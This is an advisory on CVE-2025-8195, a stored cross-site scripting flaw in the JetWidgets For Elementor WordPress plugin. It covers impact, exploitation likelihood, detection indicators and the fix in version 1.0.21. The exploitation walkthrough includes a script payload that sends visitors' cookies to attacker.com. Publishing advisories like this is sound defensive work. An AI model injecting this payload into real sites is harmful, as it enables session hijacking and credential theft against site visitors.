CVE-2025-8195: 
WordPress vulnerability analysis and mitigation

CVE-2025-8195 is a Stored Cross-Site Scripting (XSS) vulnerability in the JetWidgets For Elementor WordPress plugin, affecting all versions up to and including 1.0.20. The flaw exists in the plugin's Image Comparison and Subscribe widgets due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 13, 2025, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Authenticated attackers with contributor-level access or above can inject malicious JavaScript into widget attributes (specifically within the Image Comparison and Subscribe widgets), which is then persistently stored and rendered to all subsequent page visitors without proper escaping. The attack vector is network-based, requires low privileges, low complexity, and no user interaction beyond the victim visiting the injected page (Wordfence, ENISA EUVD).

Successful exploitation allows an authenticated attacker to persistently inject arbitrary JavaScript that executes in the browsers of all users who visit the affected page, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Because the scope is changed (S:C in CVSS), the injected scripts can affect users beyond the attacker's own session, potentially compromising site visitors' browsers and data. Availability is not directly impacted (Wordfence, ENISA EUVD).

No public exploit code or in-the-wild exploitation has been reported for CVE-2025-8195 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running JetWidgets For Elementor ≤ 1.0.20.
2. Create or Edit a Page: Navigate to the WordPress editor and add or edit a page/post that includes the JetWidgets Image Comparison or Subscribe widget.
3. Inject Malicious Payload: In the widget's attribute fields (e.g., label, placeholder, or other user-supplied inputs), insert a crafted XSS payload such as "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Save and Publish: Save the page, causing the malicious script to be stored in the WordPress database without proper sanitization.
5. Trigger Execution: Any user (including administrators) who visits the page will have the injected script execute in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to page/post edit endpoints by contributor-level accounts, particularly involving JetWidgets widget parameters; unexpected script tags in page content stored in the database.
• File System: Review wp_posts and wp_postmeta database tables for entries containing <script>, javascript:, or encoded XSS payloads in widget attribute fields associated with jet-widgets-image-comparison or jet-widgets-subscribe-form shortcodes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing JetWidgets widgets; unusual cookie or credential data transmitted to external hosts.
• Process/Application: Unexpected JavaScript alerts, redirects, or external resource loads observed on pages using the Image Comparison or Subscribe widgets (Wordfence).

Users should update the JetWidgets For Elementor plugin to version 1.0.21 or later, which addresses the insufficient sanitization in the Image Comparison and Subscribe widgets. The fix was introduced in changeset 3364453 in the WordPress plugin repository (WordPress Plugin Repo). As a temporary workaround, site administrators should restrict contributor-level user registrations and review existing contributor accounts for trustworthiness until the patch is applied (Wordfence).

Wordfence included CVE-2025-8195 in their weekly WordPress vulnerability report for December 8–14, 2025, highlighting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence Blog). The vulnerability was also catalogued by ENISA's European Vulnerability Database (EUVD) and noted by automated threat intelligence aggregators. No significant independent researcher commentary or major media coverage has been identified beyond standard vulnerability tracking.